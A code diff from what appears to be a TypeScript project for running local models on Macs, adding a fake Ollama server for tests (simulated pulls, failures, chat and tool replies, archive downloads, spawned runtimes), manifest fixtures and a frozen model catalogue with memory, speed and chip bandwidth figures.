export const REAL_PULL_ERROR_LINE = '{"error":"max retries exceeded: local error: tls: bad record MAC"}';
// ---------- Options and switches ----------
/** The model the fake serves. Default: what the MacBook really got for `qwen3.6:35b-a3b`. */
export interface FakeOllamaModel {
id: string;
/** The pull's total and the size `/api/tags` reports. */
bytes: number;
/** As `/api/tags` reports it: lowercase hex, no prefix. */
digest: string;
format: string;
runner: string;
quantization: string;
capabilities: string[];
}
export const DEFAULT_FAKE_MODEL: FakeOllamaModel = {
id: 'qwen3.6:35b-a3b',
bytes: 23_105_798_956,
digest: '0ce5ff81f9ffdf89dd8192ca7b5d34cefd8996a875b3aaaaafaf5c4813569eba',
format: 'safetensors',
runner: 'mlx',
quantization: 'nvfp4',
capabilities: ['completion', 'vision', 'tools', 'thinking'],
};
export interface FakePullSwitches {
/**
* `mlx`: every progress line is `{"status":"pulling model","digest":"sha256:model",...}`,
* what a Mac gets for an MLX build. `gguf`: one layer after the other, each
* `{"status":"pulling <12 hex>","digest":"sha256:<64 hex>",...}`, the first lines of a layer
* without `completed`, then `verifying sha256 digest`.
*/
shape: 'mlx' | 'gguf';
/** How many progress lines the large layer of one full pull is spread over. Default 20. */
progressLines: number;
/** Milliseconds between two lines. Default 0. Raise it to abort or cancel mid-stream. */
lineDelayMs: number;
/**
* How a pull goes wrong.
* - `none`: it succeeds.
* - `error-line`: after `failAfterLines` progress lines, the real error line, then the body ends.
* - `cut`: after `failAfterLines` progress lines the socket is destroyed (no `success`, no error).
* - `not-found`: `pulling manifest`, then an error line saying the manifest does not exist.
*/
fail: 'none' | 'error-line' | 'cut' | 'not-found';
/** Progress lines sent before the failure. Default 10. */
failAfterLines: number;
/** How many pulls fail before one succeeds. Default `Infinity`: every pull fails. */
failTimes: number;
/** Bytes the first pull starts at, as if an earlier run had left partial blobs. Default 0. */
resumeFrom: number;
}
export interface FakePsSwitches {
/** `size`. Default: the model's bytes plus 100 MB. */
size?: number;
/** `size_vram`. Default: equal to `size` (all on the GPU). Set it lower for "does not fit". */
sizeVram?: number;
/** `context_length`. Default: `FakeOllamaOptions.contextLength`. */
contextLength?: number;
/** False: `/api/ps` stays empty even after a chat. */
loaded?: boolean;
}
export interface FakeArchiveSwitches {
/** Destroy the socket after this many bytes of the body were sent. */
cutAfterBytes?: number;
/** For how many requests the cut applies. Default 1. */
cutTimes: number;
/** True: answer 200 with the whole body even to a `Range` request. */
ignoreRange: boolean;
/** Answer this status with an empty body instead (404, 503). */
status?: number;
}
export interface FakeSpawnSwitches {
/** True: the child starts and writes its log but never listens (the supervisor's `runtime-start-failed`). */
neverListens: boolean;
/** A number: the child exits with this code right after it was started. */
exitsAtOnce?: number;
/** The device total the child logs (the text inside the quotes). Default '37.4 GiB'. */
total: string;
/** False: the "inference compute" line is left out of the log. */
logsBudget: boolean;
}
export interface FakeOllamaSwitches {
pull: FakePullSwitches;
ps: FakePsSwitches;
/** `error`: `POST /v1/chat/completions` WITHOUT tools answers 500. */
chat: 'ok' | 'error';
/**
* What `POST /v1/chat/completions` WITH tools answers.
* - `call`: one tool call with JSON arguments, `finish_reason: "tool_calls"`.
* - `none`: a text answer, `finish_reason: "stop"`.
* - `length`: an empty answer with a `reasoning` text, `finish_reason: "length"`.
* - `bad-arguments`: a tool call whose `arguments` do not parse.
*/
tool: 'call' | 'none' | 'length' | 'bad-arguments';
archive: FakeArchiveSwitches;
spawn: FakeSpawnSwitches;
}
export interface FakeOllamaOptions {
/** What `/api/version` answers. Default '0.40.15'. */
version?: string;
model?: Partial<FakeOllamaModel>;
/** True: the model is installed from the start. Default false: it appears after a pull that succeeded. */
installed?: boolean;
/** The context length the runtime "was started with": what `/api/ps` reports. Default 131072. */
contextLength?: number;
pull?: Partial<FakePullSwitches>;
ps?: FakePsSwitches;
chat?: FakeOllamaSwitches['chat'];
tool?: FakeOllamaSwitches['tool'];
archive?: Partial<FakeArchiveSwitches>;
spawn?: Partial<FakeSpawnSwitches>;
/** The files of the fake runtime archive, name to content. Default: one executable `ollama` script. */
archiveFiles?: Record<string, string>;
}
export interface CapturedRequest {
method: string;
path: string;
headers: Record<string, string | string[] | undefined>;
/** The parsed JSON body, the raw text when it is not JSON, `undefined` when there is none. */
body: unknown;
}
/** The fake child process: enough of `ChildProcess` for a supervisor. */
export class FakeRuntimeChild extends EventEmitter {
readonly stdout = new PassThrough();
readonly stderr = new PassThrough();
readonly stdin = null;
exitCode: number | null = null;
signalCode: NodeJS.Signals | null = null;
killed = false;
/** Every signal `kill()` was called with. */
readonly signals: (NodeJS.Signals | number)[] = [];
constructor(
/** Above every real pid (Linux allows at most 4194304), so a stray `process.kill(pid)` hits nothing. */
readonly pid: number,
readonly command: string,
readonly args: readonly string[],
/** The environment the child was started with: what `runtimeEnv()` built. */
readonly env: NodeJS.ProcessEnv,
private readonly onGone: () => Promise<void>
) {
super();
}
/** As `ChildProcess.kill()`: the listener closes and `exit` then `close` are emitted. */
kill(signal: NodeJS.Signals | number = 'SIGTERM'): boolean {
this.signals.push(signal);
if (this.exitCode !== null || this.signalCode !== null) return false;
this.killed = true;
void this.finish(null, typeof signal === 'string' ? signal : 'SIGTERM');
return true;
}
/** The child dies by itself with `code`, as a crash would. */
crash(code = 1): void {
if (this.exitCode !== null || this.signalCode !== null) return;
void this.finish(code, null);
}
private async finish(code: number | null, signal: NodeJS.Signals | null): Promise<void> {
this.exitCode = code;
this.signalCode = signal;
await this.onGone();
this.stdout.end();
this.stderr.end();
this.emit('exit', code, signal);
this.emit('close', code, signal);
}
}
export interface FakeOllama {
/** `http://127.0.0.1:<port>`. Empty while the fake does not listen. */
readonly baseUrl: string;
/** 0 while the fake does not listen. */
readonly port: number;
readonly listening: boolean;
/** Every request so far, oldest first. */
readonly requests: CapturedRequest[];
/** Change these between requests. */
readonly switches: FakeOllamaSwitches;
readonly model: FakeOllamaModel;
/** What the fake remembers. */
readonly state: {
/** The model is in `/api/tags` and `/v1/models`. */
installed: boolean;
/** A chat loaded the model: it is in `/api/ps`. */
loaded: boolean;
/** How far the pulls got: what the next pull's first progress line starts at. */
completedBytes: number;
/** How many `POST /api/pull` arrived. */
pulls: number;
/** How many `GET` of the archive arrived. */
archiveRequests: number;
/** Every child `spawn` made, oldest first. */
children: FakeRuntimeChild[];
};
/** The fake runtime archive: a real gzipped tar. */
readonly archive: { readonly body: Buffer; readonly size: number; readonly sha256: string };
/** A pin that points at this fake's archive (valid while it listens). */
pin(): LocalModelRuntimePin;
/** Starts listening on 127.0.0.1. Default port 0: the system picks one. */
listen(port?: number): Promise<void>;
/** Stops listening and drops every open connection. Safe to call twice. */
close(): Promise<void>;
/**
* A stand-in for `child_process.spawn` that "starts the runtime": the fake listens on the
* port of `options.env.OLLAMA_HOST` and the child logs the start-up lines. See the file header.
*/
spawn(command: string, args: readonly string[], options: SpawnOptions): ChildProcess;
}
// ---------- Helpers ----------
/** A loopback port nothing listens on right now: bound on 0, read, closed again. */
export async function freeLoopbackPort(): Promise<number> {
return new Promise((resolve, reject) => {
const probe = createNetServer();
probe.once('error', reject);
probe.listen(0, '127.0.0.1', () => {
const { port } = probe.address() as AddressInfo;
probe.close(() => resolve(port));
});
});
}
/** One file as a tar entry: a 512-byte ustar header, the content, zero padding to 512. */
function tarEntry(name: string, content: Buffer, mode: number): Buffer {
const header = Buffer.alloc(512);
header.write(name, 0, 100, 'utf8');
header.write(mode.toString(8).padStart(7, '0') + '\0', 100, 8, 'ascii');
header.write('0000000\0', 108, 8, 'ascii');
header.write('0000000\0', 116, 8, 'ascii');
header.write(content.length.toString(8).padStart(11, '0') + '\0', 124, 12, 'ascii');
header.write('00000000000\0', 136, 12, 'ascii');
header.write(' ', 148, 8, 'ascii');
header.write('0', 156, 1, 'ascii');
header.write('ustar\0', 257, 6, 'ascii');
header.write('00', 263, 2, 'ascii');
let sum = 0;
for (const byte of header) sum += byte;
header.write(sum.toString(8).padStart(6, '0') + '\0 ', 148, 8, 'ascii');
const padding = Buffer.alloc((512 - (content.length % 512)) % 512);
return Buffer.concat([header, content, padding]);
}
/** A gzipped tar of `files`, which `/usr/bin/tar -xzf` unpacks. A file named `ollama` is executable. */
export function buildFakeArchive(files: Record<string, string>): Buffer {
const entries = Object.entries(files).map(([name, text]) =>
tarEntry(name, Buffer.from(text, 'utf8'), name === 'ollama' ? 0o755 : 0o644)
);
return gzipSync(Buffer.concat([...entries, Buffer.alloc(1024)]));
}
function readBody(req: IncomingMessage): Promise<unknown> {
return new Promise((resolve) => {
const chunks: Buffer[] = [];
req.on('data', (chunk: Buffer) => chunks.push(chunk));
req.on('end', () => {
const raw = Buffer.concat(chunks).toString('utf8');
if (!raw) return resolve(undefined);
try {
resolve(JSON.parse(raw));
} catch {
resolve(raw);
}
});
req.on('error', () => resolve(undefined));
});
}
function sendJson(res: ServerResponse, status: number, body: unknown): void {
res.writeHead(status, { 'content-type': 'application/json; charset=utf-8' });
res.end(JSON.stringify(body));
}
const sleep = (ms: number): Promise<void> => new Promise((resolve) => setTimeout(resolve, ms));
/** A value for one tool parameter, by its JSON schema type. */
function placeholderFor(schema: unknown): unknown {
const type = (schema as { type?: unknown } | undefined)?.type;
if (type === 'number' || type === 'integer') return 1;
if (type === 'boolean') return true;
if (type === 'array') return [];
if (type === 'object') return {};
return 'README.md';
}
/** The small layers a GGUF pull ends with: the sizes of the real `qwen2.5:0.5b` pull. */
const GGUF_SMALL_LAYERS = [68, 1482, 11343, 490];
// ---------- The fake ----------
/** A fake that does not listen yet. For a supervisor test, which injects `fake.spawn`. */
export function createFakeOllama(options: FakeOllamaOptions = {}): FakeOllama {
const version = options.version ?? '0.40.15';
const model: FakeOllamaModel = { ...DEFAULT_FAKE_MODEL, ...options.model };
const contextLength = options.contextLength ?? 131072;
const switches: FakeOllamaSwitches = {
pull: {
shape: 'mlx',
progressLines: 20,
lineDelayMs: 0,
fail: 'none',
failAfterLines: 10,
failTimes: Infinity,
resumeFrom: 0,
...options.pull,
},
ps: { ...options.ps },
chat: options.chat ?? 'ok',
tool: options.tool ?? 'call',
archive: { cutTimes: 1, ignoreRange: false, ...options.archive },
spawn: { neverListens: false, total: '37.4 GiB', logsBudget: true, ...options.spawn },
};
const archiveBody = buildFakeArchive(options.archiveFiles ?? { ollama: '#!/bin/sh\necho "fake runtime"\n' });
const archive = {
body: archiveBody,
size: archiveBody.length,
sha256: createHash('sha256').update(archiveBody).digest('hex'),
};
const state: FakeOllama['state'] = {
installed: options.installed ?? false,
loaded: false,
completedBytes: 0,
pulls: 0,
archiveRequests: 0,
children: [],
};
const requests: CapturedRequest[] = [];
const sockets = new Set<Socket>();
let server: Server | undefined;
let port = 0;
let failedPulls = 0;
let archiveCuts = 0;
let nextPid = 9_000_001;
let chatCounter = 100;
const modelDetails = (): Record<string, unknown> => ({
parent_model: '',
format: model.format,
family: 'qwen35',
families: ['qwen35'],
parameter_size: '35.9B',
quantization_level: model.quantization,
});
async function handlePull(res: ServerResponse, body: unknown): Promise<void> {
state.pulls += 1;
const asked = (body as { model?: unknown; name?: unknown } | undefined) ?? {};
const askedId = typeof asked.model === 'string' ? asked.model : asked.name;
const { pull } = switches;
res.writeHead(200, { 'content-type': 'application/x-ndjson' });
let gone = false;
res.on('close', () => {
gone = true;
});
// Each line is handed to the system before the next step, so a cut that follows really
// arrives AFTER the lines before it, as on a real connection.
const line = async (value: unknown): Promise<boolean> => {
if (gone) return false;
await new Promise<void>((resolve) => res.write(JSON.stringify(value) + '\n', () => resolve()));
if (pull.lineDelayMs > 0) await sleep(pull.lineDelayMs);
return !gone;
};
if (!(await line({ status: 'pulling manifest' }))) return;
// Not captured on a Mac: the wording of the runtime for a tag the registry does not have.
if (pull.fail === 'not-found' || askedId !== model.id) {
await line({ error: 'pull model manifest: file does not exist' });
res.end();
return;
}
const failing = pull.fail !== 'none' && failedPulls < pull.failTimes;
const smallTotal = GGUF_SMALL_LAYERS.reduce((sum, size) => sum + size, 0);
const largeTotal = pull.shape === 'gguf' ? model.bytes - smallTotal : model.bytes;
const largeDigest = pull.shape === 'gguf' ? `sha256:${model.digest}` : 'sha256:model';
const largeStatus = pull.shape === 'gguf' ? `pulling ${model.digest.slice(0, 12)}` : 'pulling model';
const start = Math.min(Math.max(state.completedBytes, pull.resumeFrom), largeTotal);
const lines = Math.max(1, pull.progressLines);
// A GGUF layer announces itself without `completed` first.
if (pull.shape === 'gguf' && start === 0) {
if (!(await line({ status: largeStatus, digest: largeDigest, total: largeTotal }))) return;
}
for (let i = 0; i <= lines; i++) {
if (failing && i === pull.failAfterLines) {
failedPulls += 1;
if (pull.fail === 'error-line') {
res.write(REAL_PULL_ERROR_LINE + '\n');
res.end();
} else {
res.socket?.destroy();
}
return;
}
const completed = i === lines ? largeTotal : start + Math.floor(((largeTotal - start) * i) / lines);
if (!(await line({ status: largeStatus, digest: largeDigest, total: largeTotal, completed }))) return;
state.completedBytes = completed;
}
if (pull.shape === 'gguf') {
for (const [index, size] of GGUF_SMALL_LAYERS.entries()) {
const hex = createHash('sha256').update(`${model.id}:${index}`).digest('hex');
const layer = { status: `pulling ${hex.slice(0, 12)}`, digest: `sha256:${hex}`, total: size };
if (!(await line(layer))) return;
if (!(await line({ ...layer, completed: size }))) return;
}
if (!(await line({ status: 'verifying sha256 digest' }))) return;
}
if (!(await line({ status: 'writing manifest' }))) return;
state.installed = true;
state.completedBytes = model.bytes;
await line({ status: 'success' });
res.end();
}
function handleChat(res: ServerResponse, body: unknown): void {
const request = (body as { model?: unknown; tools?: unknown } | undefined) ?? {};
if (!state.installed || request.model !== model.id) {
sendJson(res, 404, {
error: {
message: `model '${String(request.model)}' not found`,
type: 'not_found_error',
param: null,
code: null,
},
});
return;
}
const tools = Array.isArray(request.tools) ? request.tools : [];
const envelope = (message: Record<string, unknown>, finishReason: string): Record<string, unknown> => ({
id: `chatcmpl-${chatCounter++}`,
object: 'chat.completion',
created: 1793968038,
model: model.id,
system_fingerprint: 'fp_ollama',
choices: [{ index: 0, message: { role: 'assistant', ...message }, finish_reason: finishReason }],
usage: {
prompt_tokens: 36,
prompt_tokens_details: { cached_tokens: 0 },
completion_tokens: 2,
total_tokens: 38,
},
});
if (tools.length === 0) {
if (switches.chat === 'error') {
// Not captured: the runtime's 500 for a model that fails to load.
sendJson(res, 500, {
error: { message: 'llm server error: out of memory', type: 'api_error', param: null, code: null },
});
return;
}
if (switches.ps.loaded !== false) state.loaded = true;
sendJson(res, 200, envelope({ content: 'pong' }, 'stop'));
return;
}
if (switches.ps.loaded !== false) state.loaded = true;
const fn = (tools[0] as { function?: { name?: unknown; parameters?: { properties?: unknown } } }).function ?? {};
const name = typeof fn.name === 'string' ? fn.name : 'tool';
const properties = (fn.parameters?.properties ?? {}) as Record<string, unknown>;
const args = Object.fromEntries(Object.entries(properties).map(([key, schema]) => [key, placeholderFor(schema)]));
const toolCall = (argumentsText: string): Record<string, unknown> => ({
content: '',
tool_calls: [{ id: 'call_ag8rmzix', index: 0, type: 'function', function: { name, arguments: argumentsText } }],
});
switch (switches.tool) {
case 'call':
sendJson(res, 200, envelope(toolCall(JSON.stringify(args)), 'tool_calls'));
return;
case 'bad-arguments':
sendJson(res, 200, envelope(toolCall('{"path": '), 'tool_calls'));
return;
case 'length':
sendJson(
res,
200,
envelope({ content: '', reasoning: 'The user wants me to read a file. I should call the tool' }, 'length')
);
return;
case 'none':
sendJson(res, 200, envelope({ content: 'I would read the file, but I cannot.' }, 'stop'));
return;
}
}
function handleArchive(req: IncomingMessage, res: ServerResponse): void {
state.archiveRequests += 1;
const { archive: sw } = switches;
if (sw.status !== undefined) {
res.writeHead(sw.status);
res.end();
return;
}
let from = 0;
const range = /^bytes=(\d+)-$/.exec(String(req.headers.range ?? ''));
if (range && !sw.ignoreRange) {
from = Number(range[1]);
if (from >= archive.size) {
res.writeHead(416, { 'content-range': `bytes */${archive.size}` });
res.end();
return;
}
}
const body = archive.body.subarray(from);
const headers: Record<string, string> = {
'content-type': 'application/octet-stream',
'content-length': String(body.length),
'accept-ranges': 'bytes',
};
if (from > 0) headers['content-range'] = `bytes ${from}-${archive.size - 1}/${archive.size}`;
res.writeHead(from > 0 ? 206 : 200, headers);
if (req.method === 'HEAD') {
res.end();
return;
}
if (sw.cutAfterBytes !== undefined && archiveCuts < sw.cutTimes && sw.cutAfterBytes < body.length) {
archiveCuts += 1;
res.write(body.subarray(0, sw.cutAfterBytes), () => res.socket?.destroy());
return;
}
res.end(body);
}
async function handle(req: IncomingMessage, res: ServerResponse): Promise<void> {
const body = await readBody(req);
const path = (req.url ?? '').split('?')[0];
const method = req.method ?? 'GET';
requests.push({ method, path, headers: req.headers, body });
if (path === '/' && method === 'GET') {
res.writeHead(200, { 'content-type': 'text/plain; charset=utf-8' });
res.end('Ollama is running');
return;
}
if (path === '/api/version' && method === 'GET') return sendJson(res, 200, { version });
if (path === '/api/tags' && method === 'GET') {
const models = state.installed
? [
{
name: model.id,
model: model.id,
modified_at: '2026-11-06T15:10:02.465346347+01:00',
size: model.bytes,
digest: model.digest,
details: { ...modelDetails(), context_length: 262144, runner: model.runner },
capabilities: model.capabilities,
},
]
: [];
return sendJson(res, 200, { models });
}
if (path === '/api/ps' && method === 'GET') {
const size = switches.ps.size ?? model.bytes + 100_000_000;
const models =
state.installed && state.loaded && switches.ps.loaded !== false
? [
{
name: model.id,
model: model.id,
size,
digest: model.digest,
details: modelDetails(),
expires_at: '2026-11-06T15:20:09.488045+01:00',
size_vram: switches.ps.sizeVram ?? size,
context_length: switches.ps.contextLength ?? contextLength,
runner: model.runner,
},
]
: [];
return sendJson(res, 200, { models });
}
if (path === '/api/pull' && method === 'POST') return handlePull(res, body);
if (path === '/api/delete' && method === 'DELETE') {
// Not captured: the answers of a delete (200 with no body, 404 with an error text).
const asked = (body as { model?: unknown; name?: unknown } | undefined) ?? {};
const askedId = typeof asked.model === 'string' ? asked.model : asked.name;
if (!state.installed || askedId !== model.id) {
return sendJson(res, 404, { error: `model '${String(askedId)}' not found` });
}
state.installed = false;
state.loaded = false;
state.completedBytes = 0;
res.writeHead(200);
res.end();
return;
}
if (path === '/v1/models' && method === 'GET') {
const data = state.installed
? [{ id: model.id, object: 'model', created: 1793967749, owned_by: 'library' }]
: null;
return sendJson(res, 200, { object: 'list', data });
}
if (path === '/v1/chat/completions' && method === 'POST') return handleChat(res, body);
if (path === '/download/ollama-darwin.tgz' && (method === 'GET' || method === 'HEAD')) {
return handleArchive(req, res);
}
res.writeHead(404, { 'content-type': 'text/plain; charset=utf-8' });
res.end('404 page not found');
}
async function listen(onPort = 0): Promise<void> {
if (server) throw new Error('The fake runtime already listens');
const created = createServer((req, res) => {
handle(req, res).catch(() => {
if (!res.headersSent) res.writeHead(500);
res.end();
});
});
created.on('connection', (socket) => {
sockets.add(socket);
socket.on('close', () => sockets.delete(socket));
});
await new Promise<void>((resolve, reject) => {
created.once('error', reject);
created.listen(onPort, '127.0.0.1', () => resolve());
});
server = created;
port = (created.address() as AddressInfo).port;
}
async function close(): Promise<void> {
const closing = server;
if (!closing) return;
server = undefined;
port = 0;
for (const socket of sockets) socket.destroy();
await new Promise<void>((resolve) => closing.close(() => resolve()));
}
function spawn(command: string, args: readonly string[], spawnOptions: SpawnOptions): ChildProcess {
const env = (spawnOptions.env ?? {}) as NodeJS.ProcessEnv;
const child = new FakeRuntimeChild(nextPid++, command, args, env, close);
state.children.push(child);
const wanted = Number(/:(\d+)$/.exec(env.OLLAMA_HOST ?? '')?.[1] ?? 0);
const sw = switches.spawn;
void (async () => {
// A real child reports nothing before the next turn of the event loop either.
await sleep(0);
if (sw.exitsAtOnce !== undefined) {
child.stderr.write('Error: listen tcp 127.0.0.1: bind: address already in use\n');
child.crash(sw.exitsAtOnce);
return;
}
if (!sw.neverListens) {
try {
await listen(wanted);
} catch {
child.stderr.write(`Error: listen tcp 127.0.0.1:${wanted}: bind: address already in use\n`);
child.crash(1);
return;
}
}
for (const text of fakeRuntimeLog(sw.total, wanted)) {
if (!sw.logsBudget && text.includes('msg="inference compute"')) continue;
child.stderr.write(text + '\n');
}
})();
return child as unknown as ChildProcess;
}
return {
get baseUrl() {
return server ? `http://127.0.0.1:${port}` : '';
},
get port() {
return port;
},
get listening() {
return server !== undefined;
},
requests,
switches,
model,
state,
archive,
pin: () => ({
id: 'ollama',
version,
url: `http://127.0.0.1:${port}/download/ollama-darwin.tgz`,
bytes: archive.size,
sha256: archive.sha256,
unpackedBytes: 4096,
minMacosMajor: 14,
}),
listen,
close,
spawn,
};
}
/** A fake that listens on a port the system picked. Close it in `afterEach`. */
export async function startFakeOllama(options: FakeOllamaOptions = {}): Promise<FakeOllama> {
const fake = createFakeOllama(options);
await fake.listen(0);
return fake;
}
@@ -0,0 +1 @@
{"schemaVersion":2,"mediaType":"application/vnd.docker.distribution.manifest.v2+json","config":{"mediaType":"application/vnd.docker.container.image.v1+json","digest":"sha256:99afa5bbf1e7038bda7d028e100ee76b7337c943468d52590de3282db7b52adb","size":220},"layers":[{"mediaType":"application/vnd.ollama.image.model","digest":"sha256:d372de8e934898a59e6ccfabc3368474711384d8f1fd4d22d87a3f0a45400cdc","size":21718480960,"from":"qwen3.6-source:35b-a3b-mtp-q4_K_M-20260824"},{"mediaType":"application/vnd.ollama.image.projector","digest":"sha256:a62390d25b4b4a2d8afd7cc3c90021c11935c1fdd48d7cb0723ab71cd02a598e","size":902821728,"from":"qwen3.6-source:35b-a3b-mtp-q4_K_M-20260824"},{"mediaType":"application/vnd.ollama.image.license","digest":"sha256:5f3a3c817e78f5b8a4ad2d2c458a3e4b2cce470d6c12642c4eeb12cb8a9bf51d","size":11357,"from":"qwen3.6-source:35b-a3b-mtp-q4_K_M-20260824"},{"mediaType":"application/vnd.ollama.image.params","digest":"sha256:ce44c0f3ca1f7a126724e5285be7e1afdab202186c6379515ab0c1ffd40d3ecc","size":116}],"runner":"llamacpp","format":"gguf"}
@@ -0,0 +1 @@
{"schemaVersion":2,"mediaType":"application/vnd.ollama.manifest.list.v2+json","manifests":[{"mediaType":"application/vnd.docker.distribution.manifest.v2+json","digest":"sha256:0ce5ff81f9ffdf89dd8192ca7b5d34cefd8996a875b3aaaaafaf5c4813569eba","runner":"mlx","format":"safetensors"},{"mediaType":"application/vnd.docker.distribution.manifest.v2+json","digest":"sha256:a7eb95c53bcf96b4bdd008d0fab4a5dac88047d9c1a7a9ab88ed453423fbd87c","runner":"llamacpp","format":"gguf"}]}
@@ -0,0 +1 @@
{"architecture":"","capabilities":["completion","vision","tools","thinking"],"file_type":"nvfp4","model_families":null,"model_family":"","model_format":"safetensors","model_type":"","os":"","parser":"qwen3.5","renderer":"qwen3.5","requires":"0.32.4"}
+182
View File
@@ -0,0 +1,182 @@
/**
* @fileoverview A frozen model catalogue for the RULE tests of src/local-model/recommend.ts:
* the stock catalogue exactly as it shipped on 2026-11-06 (seven rows that all carry the
* figures measured on one model), with the `runner` field the schema gained since.
*
* Why a frozen copy and not the stock catalogue: the stock catalogue is meant to change every
* week or so (new models, new measurements). The tests of a RULE (the ranking, the disk
* filter, the tags, the `limited` line, the harness fallback) need realistic rows whose
* answers do not move with it, or every catalogue update would rewrite a hundred rule tests
* and hide the few answers that really changed. What the STOCK catalogue answers for each Mac
* is pinned separately, in test/local-model-recommend.test.ts ("every memory size") and the
* two real-Mac blocks, and that is the table a catalogue change must update on purpose.
*
* Its figures are NOT a statement about any model: the rows borrow the measured row's figures,
* which is exactly why the stock catalogue replaced them. Validated by the real schema.
*/
import type { LocalModelCatalog } from '../../src/types.js';
const MEASURED_MEMORY = {
/** 36,000 to 38,000 bytes stayed held per token of context after a prompt of 89,000 and one of 167,000 tokens. */
heldBytesPerToken: 37_000,
/** The runner held 2.5 to 3 GB beside the weights. */
overheadBytes: 3_000_000_000,
/** While a long prompt was processed the peak stood about 5 GB above what stayed held. */
peakExtraBytes: 5_000_000_000,
} as const;
/**
* The catalogue as it shipped on 2026-11-06, with the `runner` field added. Frozen: a fixture,
* not the stock catalogue.
*/
export const RULES_LOCAL_MODEL_CATALOG: LocalModelCatalog = {
schema: 1,
updated: '2026-11-06',
// The oldest macOS the model runtime supports.
minMacosMajor: 14,
// Ordered by rank. The higher rank wins among models that fit equally well and are equally
// fast. `flint:40b` is left out on purpose: its plain tag is the slow build on a Mac and it
// has an open bug with tool arguments.
models: [
{
id: 'qwen3.5:9b',
label: 'Qwen3.5 9B',
license: 'Apache-2.0',
paramsB: 9,
runner: 'mlx',
bytes: 6_550_825_373,
...MEASURED_MEMORY,
figures: 'estimated',
contexts: [65536, 32768],
rank: 1,
// 37.1 tokens per second measured on 400 GB/s.
speedPer100Gbps: 9.3,
tested: [],
},
{
id: 'qwen3.5:9b-q8_0',
label: 'Qwen3.5 9B (Q8)',
license: 'Apache-2.0',
paramsB: 9,
runner: 'llamacpp',
bytes: 10_449_217_949,
...MEASURED_MEMORY,
figures: 'estimated',
contexts: [65536, 32768],
rank: 2,
// Not measured: the 9.3 of the row above scaled by file size.
speedPer100Gbps: 5.8,
tested: [],
},
{
id: 'gpt-oss:20b',
label: 'GPT-OSS 20B',
license: 'Apache-2.0',
paramsB: 20,
runner: 'llamacpp',
bytes: 13_793_441_427,
...MEASURED_MEMORY,
figures: 'estimated',
contexts: [131072, 65536],
rank: 3,
// No speed figure: its speed is unknown on every chip.
tested: [],
},
{
id: 'qwen3.6:35b-a3b',
label: 'Qwen3.6 35B-A3B',
license: 'Apache-2.0',
paramsB: 35,
runner: 'mlx',
// What a Mac really downloads: an MLX build, 2% above the 22,621,314,161 of the manifest.
bytes: 23_105_798_956,
...MEASURED_MEMORY,
figures: 'measured',
contexts: [131072, 65536],
rank: 4,
// 54.5 tokens per second measured on 400 GB/s (3 billion parameters are active per token).
// The MLX build ran faster than this figure predicts on the one Mac we tested (67.7
// against 41.8), so on other chips the estimate is on the low side.
speedPer100Gbps: 13.6,
// Run by us with OpenCode on the MacBook Pro (Mac17,13): a four-step task with tool calls.
tested: [{ chip: 'Apple M5 Pro', memGb: 48, cli: 'opencode', date: '2026-11-06', tokensPerSecond: 67.7 }],
},
{
id: 'qwen3.8:27b',
label: 'Qwen3.8 27B',
license: 'Apache-2.0',
paramsB: 27.8,
runner: 'mlx',
bytes: 17_741_871_939,
...MEASURED_MEMORY,
figures: 'estimated',
contexts: [131072, 65536, 32768],
rank: 5,
// 11.8 tokens per second measured on 400 GB/s.
speedPer100Gbps: 2.95,
tested: [],
},
{
id: 'qwen3.8:27b-q8_0',
label: 'Qwen3.8 27B (Q8)',
license: 'Apache-2.0',
paramsB: 27.8,
runner: 'llamacpp',
bytes: 29_978_241_837,
...MEASURED_MEMORY,
figures: 'estimated',
contexts: [262144, 131072],
rank: 6,
// Not measured: the 2.95 of the row above scaled by file size.
speedPer100Gbps: 1.7,
tested: [],
},
{
id: 'qwen3.5:122b-a10b',
label: 'Qwen3.5 122B-A10B',
license: 'Apache-2.0',
paramsB: 122,
runner: 'llamacpp',
bytes: 81_370_035_877,
...MEASURED_MEMORY,
figures: 'estimated',
contexts: [131072],
rank: 7,
// No speed figure: its speed is unknown on every chip.
tested: [],
},
],
// The higher rank wins when a model can run with more than one harness.
harnesses: [
{ cli: 'opencode', minContext: 65536, rank: 3 },
// Sends a fixed prompt of about 36,000 tokens, so the first answer takes minutes.
{ cli: 'claude', minContext: 65536, rank: 2, slowFirstTurn: true },
// Gated: neither its 32768 minimum nor its handling of a `name:tag` model id is verified.
{ cli: 'pi', minContext: 32768, rank: 1, gated: true },
],
// Memory bandwidth in GB/s, most specific first. Only chips that shipped and are in the source
// table are listed. Where one name covers two bandwidths (M3 Max 300 or 400, M4 Max 410 or 546,
// M5 Max 460 or 614) the LOWER one stands, so a speed computed from it is a floor.
chips: [
{ match: 'M5 Ultra', gbps: 1228 },
{ match: 'M3 Ultra', gbps: 800 },
{ match: 'M2 Ultra', gbps: 800 },
{ match: 'M1 Ultra', gbps: 800 },
{ match: 'M5 Max', gbps: 460 },
{ match: 'M4 Max', gbps: 410 },
{ match: 'M3 Max', gbps: 300 },
{ match: 'M2 Max', gbps: 400 },
{ match: 'M1 Max', gbps: 400 },
{ match: 'M5 Pro', gbps: 307 },
{ match: 'M4 Pro', gbps: 273 },
{ match: 'M3 Pro', gbps: 150 },
{ match: 'M2 Pro', gbps: 200 },
{ match: 'M1 Pro', gbps: 200 },
{ match: 'M5', gbps: 154 },
{ match: 'M4', gbps: 120 },
{ match: 'M3', gbps: 100 },
{ match: 'M2', gbps: 100 },
{ match: 'M1', gbps: 68 },
],
};
@@ -38,6 +38,9 @@ const SCANNED_FILES = [
'panels-ui.js',
// A row's mode comes from the same catalog, never from a list of ids here.
'foreign-sessions.js',
// The harness a local model is paired with arrives as a label in the payload
// (`Candidate.cliLabel`); the card names no CLI and compares no id.
'local-model-ui.js',
];
/**
+659
View File
@@ -0,0 +1,659 @@
/**
* @fileoverview Tests for src/config/local-model-catalog.ts: the compiled catalogue of models,
* harnesses and chips, its schema, and the chip lookup.
*
* Four things are pinned:
*
* 1. The stock constant PARSES. `getLocalModelCatalog()` validates it on first use and throws on
* a bad row, so this test is what keeps a bad row from ever reaching the route.
* 2. The schema refuses what must never get in: a model id that could name another registry
* (a slash, a host), an unknown key (a `runtime` block with a download URL), and rows that
* break a rule across rows (a repeated id, contexts in the wrong order, a chip row that
* hides a more specific one).
* 3. The chip lookup never guesses: a chip that no row names has no bandwidth, including one
* whose name merely contains a known name ('Apple M10', 'Apple M6 Pro').
* 4. Which figures were MEASURED on a Mac and which were computed: one row says `measured`
* (it alone has a tested entry), every other row says `estimated`, and every estimated
* row's three memory figures are recomputed here from its OWN model's architecture (a
* table read from each model's config.json) for its runner and the runtime's settings. Two
